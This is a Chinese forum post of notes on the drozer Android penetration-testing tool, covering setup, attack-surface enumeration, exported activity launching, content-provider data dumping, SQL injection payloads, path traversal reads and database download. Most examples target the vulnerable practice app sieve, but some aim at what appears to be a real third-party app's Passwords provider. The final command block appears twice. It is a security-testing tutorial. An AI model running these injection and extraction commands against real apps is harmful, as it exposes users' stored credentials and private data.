在论坛里面看到drozer的文章有点零碎,有的只说了content provider,有的只是像文档一样比较生硬,分享一下我自己做的笔记。

工具

  1. 准备一部安卓机或者模拟器,打开USB调试
  2. adb下载好,配置好环境变量
  3. 下载好对应平台的 mwrlabs/drozer

Drozer安装步骤

  1. 需要版本为python2,已装python3需要安装python2
  2. 安装库drozer, twisted, service_identity,命令为pip install drozer twisted service_identity
  3. 到python2安装目录下 C:\Python27\Scripts 查看是否有 drozer.bat,存在的话运行drozer.bat --help看是否有回显。如果你安装了多个python版本,则注意要编辑drozer.bat ,将 python.exe 改为 py -2 或其它你配置好的python2.exe文件名
  4. 安装
  5. 运行drozer错误代码为10054时表示手机没有在drozer APP内打开服务,错误代码10061时表示没有开启adb或者没有进行端口转发。
  6. 查看
    # 查看设备是否adb成功连接
    adb devices
    # 成功链接后,adb转发端口
    adb forward tcp:31415 tcp:31415
    # 查看端口是否开启
    netstat -ano | findstr 31415
  7. 推荐使用 sieve.apk (一个漏洞很多的示例apk)或goatdroid.app(跟webgoat同公司出的漏洞apk)用于练习drozer的漏洞发现和相关操作

Drozer检测命令

获取Android设备上的所有的安装的App的包名

run app.package.list
run app.package.list -f sieve

获取APP基本信息

run app.package.info -a com.aspirecn.xiaoxuntongTeacher.ln

寻找攻击面

一般测试第一步先用这个

run app.package.attacksurface com.aspirecn.xiaoxuntongTeacher.ln

这条命令会回显出四大组件可能存在的问题,然后再根据问题暴露点一个个对其测试。

Activity

run app.activity.info -a com.aspirecn.xiaoxuntongTeacher.ln

看的是这个Activity启动会不会造成越权启动或者使应用崩溃,其它的接口(微信登陆支付、小米等)暴露activity一般不造成危害的不算

run app.activity.start --component apk名 activity名
run app.activity.start --component com.aspirecn.xiaoxuntongTeacher.ln com.aspirecn.xiaoxuntongTeacher.ln.ui.Main

run app.activity.start --component com.aspirecn.xiaoxuntongTeacher.ln  com.aspirecn.xiaoxuntongTeacher.ln.activity.DoctorListActivity

Content Provider

  1. 获取Content Provider信息

    run app.provider.info -a com.aspirecn.xiaoxuntongTeacher.ln
  2. Content Providers(数据泄露)
    先获取所有可以访问的Uri:

    run scanner.provider.finduris -a com.aspirecn.xiaoxuntongTeacher.ln

    获取各个Uri的数据:

    run app.provider.query content:// com.aspirecn.xiaoxuntongTeacher.ln.DBContentProvider/Passwords/ --vertical

    查询到数据说明存在漏洞

  3. Content Providers(SQL注入)

    run app.provider.query content:// com.aspirecn.xiaoxuntongTeacher.ln.DBContentProvider/Passwords/ --projection "'"
    run app.provider.query content:// com.aspirecn.xiaoxuntongTeacher.ln.DBContentProvider/Passwords/ --selection "'"

    报错则说明存在SQL注入。
    列出所有表:

    run app.provider.query content:// com.aspirecn.xiaoxuntongTeacher.ln.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"

    获取某个表(如Key)中的数据:

    run app.provider.query content:// com.aspirecn.xiaoxuntongTeacher.ln.DBContentProvider/Passwords/ --projection "* FROM Key;--"
  4. 同时检测SQL注入和目录遍历(!优先用这条!)

    run scanner.provider.injection -a com.aspirecn.xiaoxuntongTeacher.ln
    run scanner.provider.traversal -a com.aspirecn.xiaoxuntongTeacher.ln

Service

测试某个Service,一般需要读源码看是否有漏洞

run app.service.info -a com.aspirecn.xiaoxuntongTeacher.ln
run app.service.send com.aspirecn.xiaoxuntongTeacher.ln com.aspirecn.xiaoxuntongTeacher.ln.CryptoService --msg 1 5 3

Broadcast

测试某个broadcast,一般需要读源码看是否有漏洞

run app.broadcast.info -a com.aspirecn.xiaoxuntongTeacher.ln

另附drozer常用命令

list  //列出目前可用的模块,也可以使用ls
help app.activity.forintent       //查看指定模块的帮助信息
run app.package.list      //列出android设备中安装的app
run app.package.info -a com.android.browser     //查看指定app的基本信息
run app.activity.info -a com.android.browser      //列出app中的activity组件
run app.activity.start --action android.intent.action.VIEW --data-uri  http://www.google.com  //开启一个activity,例如运行浏览器打开谷歌页面
run scanner.provider.finduris -a com.sina.weibo       //查找可以读取的Content Provider
run app.provider.query content://settings/secure --selection "name='adb_enabled'"    //读取指定Content Provider内容
run scanner.misc.writablefiles --privileged /data/data/com.sina.weibo     //列出指定文件路径里全局可写/可读的文件
run shell.start       //shell操作
run tools.setup.busybox       //安装busybox
list auxiliary        //通过web的方式查看content provider组件的相关内容
help auxiliary.webcontentresolver     //webcontentresolver帮助
run auxiliary.webcontentresolver      //执行在浏览器中以http://localhost:8080即可访问
以sieve为例
run app.package.list -f sieve         //查找sieve应用程序
run app.package.info -a com.mwr.example.sieve         //显示app.package.info命令包的基本信息
run app.package.attacksurface com.mwr.example.sieve   //确定攻击面
run app.activity.info -a com.mwr.example.sieve         //获取activity信息
run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList     //启动pwlist
run app.provider.info -a com.mwr.example.sieve        //提供商信息
run scanner.provider.finduris -a com.mwr.example.sieve        //扫描所有能访问地址 
run  app.provider.query content://com.mwr.example.DBContentProvider/Passwords/--vertical  //查看DBContentProvider/Passwords这条可执行地址
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"   //检测注入
run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts    //查看读权限数据
run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db /home/user/database.db //下载数据
run scanner.provider.injection -a com.mwr.example.sieve       //扫描注入地址
run scanner.provider.traversal -a com.mwr.example.sieve
run app.service.info -a com.mwr.example.sieve         //查看服务

run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList     //启动pwlist
run app.provider.info -a com.mwr.example.sieve        //提供商信息
run scanner.provider.finduris -a com.mwr.example.sieve        //扫描所有能访问地址 
run app.provider.query content://com.mwr.example.DBContentProvider/Passwords/--vertical  //查看DBContentProvider/Passwords这条可执行地址
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"   //检测注入
run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts    //查看读权限数据
run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db /home/user/database.db //下载数据
run scanner.provider.injection -a com.mwr.example.sieve       //扫描注入地址
run scanner.provider.traversal -a com.mwr.example.sieve
run app.service.info -a com.mwr.example.sieve         //查看服务